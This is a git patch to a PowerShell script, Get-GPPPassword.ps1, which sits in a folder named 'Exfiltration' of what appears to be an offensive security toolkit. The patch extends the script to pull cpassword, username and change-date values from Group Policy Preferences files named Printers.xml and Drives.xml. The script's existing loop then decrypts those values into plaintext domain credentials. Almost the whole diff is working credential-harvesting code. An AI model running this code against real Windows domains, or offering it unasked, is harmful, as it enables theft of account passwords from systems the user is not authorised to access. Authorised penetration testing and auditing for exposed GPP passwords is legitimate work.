From 49c9f045338b5c7870c6a07dcc7acf814ab0ed78 Mon Sep 17 00:00:00 2001 From: Chris Campbell Date: Wed, 5 Mar 2014 00:32:40 -0500 Subject: Update to version 2.4.0 from @jakxx Removed unnecessary comment, merged update with printers.xml and drives.xml from @jackxx --- Exfiltration/Get-GPPPassword.ps1 | 17 ++++++++++++++--- 1 file changed, 14 insertions(+), 3 deletions(-) (limited to 'Exfiltration') diff --git a/Exfiltration/Get-GPPPassword.ps1 b/Exfiltration/Get-GPPPassword.ps1 index 454e276..7afaa2e 100644 --- a/Exfiltration/Get-GPPPassword.ps1 +++ b/Exfiltration/Get-GPPPassword.ps1 @@ -9,7 +9,7 @@ function Get-GPPPassword { License: BSD 3-Clause Required Dependencies: None Optional Dependencies: None - Version: 2.3.2 + Version: 2.4.0 .DESCRIPTION @@ -115,7 +115,6 @@ function Get-GPPPassword { try { - #$FileObject = Get-ChildItem $File $Filename = Split-Path $File -Leaf [xml] $Xml = Get-Content ($File) @@ -157,8 +156,20 @@ function Get-GPPPassword { $UserName += , $Xml | Select-Xml "/DataSources/DataSource/Properties/@username" | Select-Object -Expand Node | ForEach-Object {$_.Value} $Changed += , $Xml | Select-Xml "/DataSources/DataSource/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value} } + + 'Printers.xml' { + $Cpassword += , $Xml | Select-Xml "/Printers/SharedPrinter/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value} + $UserName += , $Xml | Select-Xml "/Printers/SharedPrinter/Properties/@username" | Select-Object -Expand Node | ForEach-Object {$_.Value} + $Changed += , $Xml | Select-Xml "/Printers/SharedPrinter/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value} + } + + 'Drives.xml' { + $Cpassword += , $Xml | Select-Xml "/Drives/Drive/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value} + $UserName += , $Xml | Select-Xml "/Drives/Drive/Properties/@username" | Select-Object -Expand Node | ForEach-Object {$_.Value} + $Changed += , $Xml | Select-Xml "/Drives/Drive/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value} + } } - } + } foreach ($Pass in $Cpassword) { Write-Verbose "Decrypting $Pass" -- cgit v1.2.3